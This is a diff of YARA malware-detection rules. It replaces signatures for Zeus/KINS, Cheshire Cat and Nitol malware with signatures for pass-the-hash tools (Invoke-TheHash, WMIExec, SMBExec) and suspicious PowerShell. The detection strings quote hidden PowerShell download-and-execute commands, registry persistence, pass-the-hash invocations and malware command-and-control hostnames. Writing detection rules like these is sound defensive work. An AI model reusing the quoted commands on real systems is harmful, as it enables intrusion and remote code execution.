-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_unspecified_malware.yar#L3-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a078b96ea15b287c8aed960741865aeac356ec8650eac71b8e28f2f1924ec956"
+		reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_invoke_thehash.yar#L12-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cc9feb7d4eadfc470aabf18d82c884f454ebcdd37f3ca6b0ee4b3634cd9e33ae"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e8156ec1706716cada6f57b6b8ccc9fb0eb5debe906ac45bdc2b26099695b8f5"
+		hash1 = "674fc045dc198874f323ebdfb9e9ff2f591076fa6fac8d1048b5b8d9527c64cd"
 
 	strings:
-		$x1 = "%AllUsersProfile%\\DeviceSync\\m.exe" fullword wide
-		$x2 = "freenow.chickenkiller.com" fullword ascii
-		$x3 = "\\Release\\PhantomNet-SSL.pdb" ascii
-		$s1 = "SELECT * FROM AntiVirusProduct" fullword ascii
-		$s2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%08X-%04X-%04X-%02X%02X%02X%02X" fullword ascii
-		$s3 = "Proxy-Authenticate: Basic" fullword ascii
-		$s4 = "Proxy-Authenticate: NTLM" fullword ascii
-		$s5 = "Root\\SecurityCenter2" fullword wide
-		$s6 = "aaabbbcccddd" fullword ascii
+		$x1 = "Invoke-SMBExec -Target" fullword ascii
+		$x2 = "$packet_SMB_header = Get-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID" fullword ascii
+		$s1 = "Write-Output \"Command executed with service $SMB_service on $Target\"" fullword ascii
+		$s2 = "$packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00" fullword ascii
+		$s3 = "$SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \\svcctl" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or 4 of ($s*))) or ( all of them )
+		( filesize <400KB and 1 of them )
 }
-rule SIGNATURE_BASE_KINS_Dropper
+rule SIGNATURE_BASE_Invoke_Wmiexec_Gen_1
 {
 	meta:
-		description = "Match protocol, process injects and windows exploit present in KINS dropper"
-		author = "AlienVault Labs aortega@alienvault.com"
-		id = "17e12685-aaad-5d83-949c-43d5aef1ef0d"
-		date = "2023-12-05"
+		description = "Detects Invoke-WmiExec or Invoke-SmbExec"
+		author = "Florian Roth (Nextron Systems)"
+		id = "08b79c7d-c383-5891-af0f-31a92f1ed07d"
+		date = "2017-06-14"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/arPhm3"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_kins_dropper.yar#L1-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cdab93f823e13e0c3104de8e05cb1572f83fb5294f359698092d73fc7983955b"
+		reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_invoke_thehash.yar#L32-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "12aeba5255527a337c49f1c4d1dc506a13ea02da69a8fc509c77bcb07c2135c8"
 		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "140c23514dbf8043b4f293c501c2f9046efcc1c08630621f651cfedb6eed8b97"
+		hash2 = "7565d376665e3cd07d859a5cf37c2332a14c08eb808cc5d187a7f0533dc69e07"
 
 	strings:
-		$n1 = "tid=%d&ta=%s-%x" fullword
-		$n2 = "fid=%d" fullword
-		$n3 = "%[^.].%[^(](%[^)])" fullword
-		$i0 = "%s [%s %d] 77 %s"
-		$i01 = "Global\\%s%x"
-		$i1 = "Inject::InjectProcessByName()"
-		$i2 = "Inject::CopyImageToProcess()"
-		$i3 = "Inject::InjectProcess()"
-		$i4 = "Inject::InjectImageToProcess()"
-		$i5 = "Drop::InjectStartThread()"
-		$uac1 = "ExploitMS10_092"
-		$uac2 = "\\globalroot\\systemroot\\system32\\tasks\\" ascii wide
-		$uac3 = "<RunLevel>HighestAvailable</RunLevel>" ascii wide
+		$x1 = "Invoke-WMIExec " ascii
+		$x2 = "$target_count = [System.math]::Pow(2,(($target_address.GetAddressBytes().Length * 8) - $subnet_mask_split))" fullword ascii
+		$s1 = "Import-Module $PWD\\Invoke-TheHash.ps1" fullword ascii
+		$s2 = "Import-Module $PWD\\Invoke-SMBClient.ps1" fullword ascii
+		$s3 = "$target_address_list = [System.Net.Dns]::GetHostEntry($target_long).AddressList" fullword ascii
+		$x4 = "Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0" ascii
 
 	condition:
-		2 of ($n*) and 2 of ($i*) and 2 of ($uac*)
+		1 of them
 }
-rule SIGNATURE_BASE_KINS_DLL_Zeus
+rule SIGNATURE_BASE_Invoke_Smbexec_Invoke_Wmiexec_1
 {
 	meta:
-		description = "Match default bot in KINS leaked dropper, Zeus"
-		author = "AlienVault Labs aortega@alienvault.com"
-		id = "968ada06-c8a1-5053-95de-10aa484231cb"
-		date = "2023-12-05"
+		description = "Auto-generated rule - from files Invoke-SMBExec.ps1, Invoke-WMIExec.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fd1c6599-028d-5535-beb8-5b2658481b97"
+		date = "2017-06-14"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/arPhm3"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_kins_dropper.yar#L28-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bd1ebe7976d1f93856b4f8d1d62d8fff68ce6234204da9fbdc233ddbef56864d"
+		reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_invoke_thehash.yar#L53-L70"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "feb2973cd7e2c221cd91ec543f1d943cf1b5d5d18fe74c8f7e58341f76f95b51"
 		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "674fc045dc198874f323ebdfb9e9ff2f591076fa6fac8d1048b5b8d9527c64cd"
+		hash2 = "b41bd54bbf119d153e0878696cd5a944cbd4316c781dd8e390507b2ec2d949e7"
 
 	strings:
-		$n1 = "%BOTID%" fullword
-		$n2 = "%opensocks%" fullword
-		$n3 = "%openvnc%" fullword
-		$n4 = /Global\\(s|v)_ev/ fullword
-		$s1 = "\x72\x6E\x6D\x2C\x36\x7D\x76\x77"
-		$s2 = "\x18\x04\x0F\x12\x16\x0A\x1E\x08\x5B\x11\x0F\x13"
-		$s3 = "\x39\x1F\x01\x07\x15\x19\x1A\x33\x19\x0D\x1F"
-		$s4 = "\x62\x6F\x71\x78\x63\x61\x7F\x69\x2D\x67\x79\x65"
-		$s5 = "\x6F\x69\x7F\x6B\x61\x53\x6A\x7C\x73\x6F\x71"
+		$s1 = "$process_ID = $process_ID -replace \"-00-00\",\"\"" fullword ascii
+		$s2 = "Write-Output \"$Target did not respond\"" fullword ascii
+		$s3 = "[Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID)" fullword ascii
 
 	condition:
-		all of ($n*) and 1 of ($s*)
+		all of them
 }
-rule SIGNATURE_BASE_Cheshirecat_Sample2 : FILE
+rule SIGNATURE_BASE_Invoke_Wmiexec_Gen
 {
 	meta:
-		description = "Auto-generated rule"
+		description = "Auto-generated rule - from files Invoke-SMBClient.ps1, Invoke-SMBExec.ps1, Invoke-WMIExec.ps1, Invoke-WMIExec.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "14448138-0af3-5669-8aa3-f9e773e2a008"
-		date = "2015-08-08"
+		id = "08b79c7d-c383-5891-af0f-31a92f1ed07d"
+		date = "2017-06-14"
 		modified = "2023-12-05"
-		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cheshirecat.yar#L11-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dc18850d065ff6a8364421a9c8f9dd5fcce6c7567f4881466cee00e5cd0c7aa8"
-		logic_hash = "4dd299cfe36545dba5ccac22d2eedc405f548fe5f976514d1cfa8238b472782c"
-		score = 70
+		reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_invoke_thehash.yar#L72-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1ee79b7ea576adb71bde903756cda7af22e55eee9c4c3964cc9edc8930083fa2"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "56c6012c36aa863663fe5536d8b7fe4c460565d456ce2277a883f10d78893c01"
+		hash2 = "674fc045dc198874f323ebdfb9e9ff2f591076fa6fac8d1048b5b8d9527c64cd"
+		hash3 = "b41bd54bbf119d153e0878696cd5a944cbd4316c781dd8e390507b2ec2d949e7"
 
 	strings:
-		$s0 = "mpgvwr32.dll" fullword ascii
-		$s1 = "Unexpected failure of wait! (%d)" fullword ascii
-		$s2 = "\"%s\" /e%d /p%s" fullword ascii
-		$s4 = "error in params!" fullword ascii
-		$s5 = "sscanf" fullword ascii
-		$s6 = "<>Param : 0x%x" fullword ascii
+		$s1 = "$NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)" fullword ascii
+		$s2 = "$client_challenge = [String](1..8 | ForEach-Object {\"{0:X2}\" -f (Get-Random -Minimum 1 -Maximum 255)})" fullword ascii
+		$s3 = "$NTLM_hash_bytes = $NTLM_hash_bytes.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 4 of ($s*)
+		all of them
 }
-rule SIGNATURE_BASE_Cheshirecat_Gen1 : FILE
+rule SIGNATURE_BASE_Worddoc_Powershell_Urldownloadtofile : FILE
 {
 	meta:
-		description = "Auto-generated rule"
+		description = "Detects Word Document with PowerShell URLDownloadToFile"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2068feed-2101-5b12-9e36-db7b0f5cc4ec"
-		date = "2015-08-08"
-		modified = "2023-12-05"
-		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cheshirecat.yar#L35-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d1bbda9340bc2d2fcefd6bf9a3c30fe0b99c66fb978b3a4583f17c521cfcf4b0"
-		score = 90
+		id = "f76c5f91-f67c-5754-b771-73383aba4d64"
+		date = "2017-02-23"
+		modified = "2024-04-03"
+		reference = "https://www.arbornetworks.com/blog/asert/additional-insights-shamoon2/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_susp.yar#L10-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e4ea4e6092011bccfc5132186b910075361f4f77f01ae00c51c486d77a996775"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 		super_rule = 1
-		hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
-		hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
-		hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
-		hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
+		hash1 = "33ee8a57e142e752a9c8960c4f38b5d3ff82bf17ec060e4114f5b15d22aa902e"
+		hash2 = "388b26e22f75a723ce69ad820b61dd8b75e260d3c61d74ff21d2073c56ea565d"
+		hash3 = "71e584e7e1fb3cf2689f549192fe3a82fd4cd8ee7c42c15d736ebad47b028087"
 
 	strings:
-		$x1 = "CAPESPN.DLL" fullword wide
-		$x2 = "WINF.DLL" fullword wide
-		$x3 = "NCFG.DLL" fullword wide
-		$x4 = "msgrthlp.dll" fullword wide
-		$x5 = "Local\\{c0d9770c-9841-430d-b6e3-575dac8a8ebf}" fullword ascii
-		$x6 = "Local\\{1ef9f94a-5664-48a6-b6e8-c3748db459b4}" fullword ascii
-		$a1 = "Interface\\%s\\info" fullword ascii
-		$a2 = "Interface\\%s\\info\\%s" fullword ascii
-		$a3 = "CLSID\\%s\\info\\%s" fullword ascii
-		$a4 = "CLSID\\%s\\info" fullword ascii
-		$b1 = "Windows Shell Icon Handler" fullword wide
-		$b2 = "Microsoft Shell Icon Handler" fullword wide
-		$s1 = "\\StringFileInfo\\%s\\FileVersion" ascii
-		$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
-		$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
-		$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
-		$s5 = "%sMutex" fullword ascii
-		$s6 = "\\ShellIconCache" ascii
-		$s7 = "+6Service Pack " fullword ascii
+		$w1 = "Microsoft Forms 2.0 CommandButton" fullword ascii
+		$w2 = "Microsoft Word 97-2003 Document" fullword ascii
+		$p1 = "powershell.exe" fullword ascii
+		$p2 = "URLDownloadToFile" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <350KB and 7 of ($s*) and 2 of ($a*) and 1 of ($b*) and 1 of ($x*)
+		( uint16(0)==0xcfd0 and 1 of ($w*) and all of ($p*))
 }
-rule SIGNATURE_BASE_Cheshirecat_Gen2 : FILE
+rule SIGNATURE_BASE_Suspicious_Powershell_Code_1 : FILE
 {
 	meta:
-		description = "Cheshire Cat Malware"
+		description = "Detects suspicious PowerShell code"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b97b20bd-f6b9-512f-ba99-6c38ba7853be"
-		date = "2015-08-08"
-		modified = "2023-12-05"
-		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cheshirecat.yar#L76-L108"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c5d6ce6cc09c416d3449f7f5fc09139ce9271b69d743832b4b2548682e4ddf1"
-		score = 70
-		quality = 85
+		id = "ec3c3682-d2de-52b7-bb49-b021ddf7f8ac"
+		date = "2017-02-22"
+		modified = "2024-04-03"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_susp.yar#L32-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0a254e0e4f0fdaa5907f5fe0b0c3d5226e2fdac4072349019abc2b2b11cbde30"
+		score = 60
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
-		hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
-		hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
-		hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
 
 	strings:
-		$a1 = "Interface\\%s\\info" fullword ascii
-		$a2 = "Interface\\%s\\info\\%s" fullword ascii
-		$a3 = "CLSID\\%s\\info\\%s" fullword ascii
-		$a4 = "CLSID\\%s\\info" fullword ascii
-		$b1 = "Windows Shell Icon Handler" fullword wide
-		$b2 = "Microsoft Shell Icon Handler" fullword wide
-		$s1 = "\\StringFileInfo\\%s\\FileVersion" ascii
-		$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
-		$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
-		$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
-		$s5 = "%sMutex" fullword ascii
-		$s6 = "\\ShellIconCache" ascii
-		$s7 = "+6Service Pack " fullword ascii
+		$s1 = /$[a-z]=new-object net.webclient/ ascii
+		$s2 = /$[a-z].DownloadFile\("http:/ ascii
+		$s3 = /IEX $[a-zA-Z]{1,8}.downloadstring\(["']http/ ascii nocase
+		$s4 = "powershell.exe -w hidden -ep bypass -Enc" ascii
+		$s5 = "-w hidden -noni -nop -c \"iex(New-Object" ascii
+		$s6 = "powershell.exe reg add HKCU\\software\\microsoft\\windows\\currentversion\\run" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 7 of ($s*) and 2 of ($a*) and 1 of ($b*)
+		1 of them
 }
-rule SIGNATURE_BASE_Powershdll
+rule SIGNATURE_BASE_Suspicious_Powershell_Webdownload_1 : HIGHVOL FILE
 {
 	meta:
-		description = "Detects hack tool PowerShdll"
+		description = "Detects suspicious PowerShell code that downloads from web sites"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cc0e01ca-77f0-5665-8b1e-48c8e947d0d3"
-		date = "2017-08-03"
-		modified = "2023-12-05"
-		reference = "https://github.com/p3nt4/PowerShdll"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershdll.yar#L9-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6c93eca642cc29e6ce661e6ea975bc1a88fff4e6a4825c1da3f82b3a6701392a"
-		score = 75
+		id = "a763fb82-c840-531b-b631-f282bf035020"
+		date = "2017-02-22"
+		modified = "2024-04-03"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_susp.yar#L52-L91"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "56ad9c71c34956e94325452d829627a30b1499552725232a07100f05a050ef1b"
+		score = 60
 		quality = 85
-		tags = ""
+		tags = "HIGHVOL, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4d33bc7cfa79d7eefc5f7a99f1b052afdb84895a411d7c30045498fd4303898a"
-		hash2 = "f999db9cc3a0719c19f35f0e760f4ce3377b31b756d8cd91bb8270acecd7be7d"
+		nodeepdive = 1
 
 	strings:
-		$x1 = "rundll32 PowerShdll,main -f <path>" fullword wide
-		$x2 = "\\PowerShdll.dll" ascii
-		$x3 = "rundll32 PowerShdll,main <script>" fullword wide
+		$s1 = "System.Net.WebClient).DownloadString(\"http" ascii nocase
+		$s2 = "System.Net.WebClient).DownloadString('http" ascii nocase
+		$s3 = "system.net.webclient).downloadfile('http" ascii nocase
+		$s4 = "system.net.webclient).downloadfile(\"http" ascii nocase
+		$s5 = "GetString([Convert]::FromBase64String(" ascii nocase
+		$fp1 = "NuGet.exe" ascii fullword
+		$fp2 = "chocolatey.org" ascii
+		$fp3 = " GET /"
+		$fp4 = " POST /"
+		$fp5 = ".DownloadFile('https://aka.ms/installazurecliwindows', 'AzureCLI.msi')" ascii
+		$fp6 = " 404 "
+		$fp7 = "# RemoteSSHConfigurationScript" ascii
+		$fp8 = "<helpItems" ascii fullword
+		$fp9 = "DownloadFile(\"https://codecov.io/bash" ascii
+		$fp10 = "DownloadFile('https://get.golang.org/installer.exe" ascii
+		$fpg1 = "All Rights"
+		$fpg2 = "<html"
+		$fpg3 = "<HTML"
+		$fpg4 = "Copyright"
+		$fpg5 = "License"
+		$fpg6 = "<?xml"
+		$fpg7 = "Help" fullword
+		$fpg8 = "COPYRIGHT" fullword
 
 	condition:
-		1 of them
+		1 of ($s*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Backdoor_Redosdru_Jun17 : HIGHVOL FILE
+rule SIGNATURE_BASE_Powershell_In_Word_Doc : FILE
 {
 	meta:
-		description = "Detects malware Redosdru - file systemHome.exe"
+		description = "Detects a powershell and bypass keyword in a Word document"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ea038142-6903-5d08-ac89-70c1bbef716c"
-		date = "2017-06-04"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/OOB3mH"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eternalblue_non_wannacry.yar#L12-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "99218c4decf98f02eb75c3c41a56f857a07779c68d30c4d16ca605052c4f9c3e"
-		score = 75
-		quality = 85
-		tags = "HIGHVOL, FILE"
+		id = "c9d073ff-25c6-5751-92bf-e22ae7cfd5f5"
+		date = "2017-06-27"
+		modified = "2024-04-03"
+		reference = "Internal Research - ME"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_susp.yar#L104-L119"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6a9b295f1c430c285aedc5e6df268ea2023c8bdaccd04cf8a5d021419cd6bd64"
+		score = 50
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4f49e17b457ef202ab0be905691ef2b2d2b0a086a7caddd1e70dd45e5ed3b309"
+		hash1 = "4fd4a7b5ef5443e939015276fc4bf8ffa6cf682dd95845ef10fdf8158fdd8905"
 
 	strings:
-		$x1 = "%s\\%d.gho" fullword ascii
-		$x2 = "%s\\nt%s.dll" fullword ascii
-		$x3 = "baijinUPdate" fullword ascii
-		$s1 = "RegQueryValueEx(Svchost\\netsvcs)" fullword ascii
-		$s2 = "serviceone" fullword ascii
-		$s3 = "\x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#f \x1f#" fullword ascii
-		$s4 = "servicetwo" fullword ascii
-		$s5 = "UpdateCrc" fullword ascii
-		$s6 = "\x1f#[ \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#" fullword ascii
-		$s7 = "nwsaPAgEnT" fullword ascii
-		$s8 = "%-24s %-15s 0x%x(%d) " fullword ascii
+		$s1 = "POwErSHELl.ExE" fullword ascii nocase
+		$s2 = "BYPASS" fullword ascii nocase
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <700KB and 1 of ($x*) or 4 of them )
+		( uint16(0)==0xcfd0 and filesize <1000KB and all of them )
 }
-rule SIGNATURE_BASE_Backdoor_Nitol_Jun17 : FILE
+rule SIGNATURE_BASE_Susp_Powershell_Sep17_1 : FILE
 {
 	meta:
-		description = "Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader"
+		description = "Detects suspicious PowerShell script in combo with VBS or JS "
 		author = "Florian Roth (Nextron Systems)"
-		id = "7dd26868-59e0-51a1-b12a-3b69d6246ff5"
-		date = "2017-06-04"
-		modified = "2023-01-07"
-		reference = "https://goo.gl/OOB3mH"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eternalblue_non_wannacry.yar#L38-L61"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9035b8bd74c284f170f8c9767d96580dba243786abaa3b2e79e05a981f8fa204"
-		score = 75
+		id = "6d4b9113-173f-5c12-b440-7f1cef9e6ebb"
+		date = "2017-09-30"
+		modified = "2024-04-03"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_susp.yar#L131-L148"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6c8a1e72b2c4685a5a5749d86901b123976092aee373412bf04c62aa32145be8"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		hash1 = "cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8e28521749165d2d48bfa1eac685c985ac15fc9ca5df177d4efadf9089395c56"
 
 	strings:
-		$x1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
-		$x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
-		$x3 = "TCPConnectFloodThread.target = %s" fullword ascii
-		$s1 = "\\Program Files\\Internet Explorer\\iexplore.exe" ascii
-		$s2 = "%c%c%c%c%c%c.exe" fullword ascii
-		$s3 = "GET %s%s HTTP/1.1" fullword ascii
-		$s4 = "CCAttack.target = %s" fullword ascii
-		$s5 = "Accept-Language: zh-cn" fullword ascii
-		$s6 = "jdfwkey" fullword ascii
-		$s7 = "hackqz.f3322.org:8880" fullword ascii
+		$x1 = "Process.Create(\"powershell.exe -nop -w hidden" fullword ascii nocase
+		$x2 = ".Run\"powershell.exe -nop -w hidden -c \"\"IEX " ascii
+		$s1 = "window.resizeTo 0,0" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or 5 of ($s*))) or ( all of them )
+		( filesize <2KB and 1 of them )
 }
-rule SIGNATURE_BASE_P0Wnedpowercat : FILE
+rule SIGNATURE_BASE_Susp_Powershell_Sep17_2 : FILE
 {
 	meta:
-		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedPowerCat.cs"
+		description = "Detects suspicious PowerShell script in combo with VBS or JS "
 		author = "Florian Roth (Nextron Systems)"
-		id = "059a8e58-7b7e-582e-ba4a-80e4dffe9b5e"
-		date = "2017-01-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/Cn33liz/p0wnedShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_p0wnshell.yar#L10-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5882d0f91f237d2abe1149421db0e217e6dfcca70130d346a70d5c851eca085f"
-		score = 75
+		id = "e44d1dfc-0858-5248-a57f-efb5c647f4cc"
+		date = "2017-09-30"
+		modified = "2024-04-03"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_susp.yar#L150-L170"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
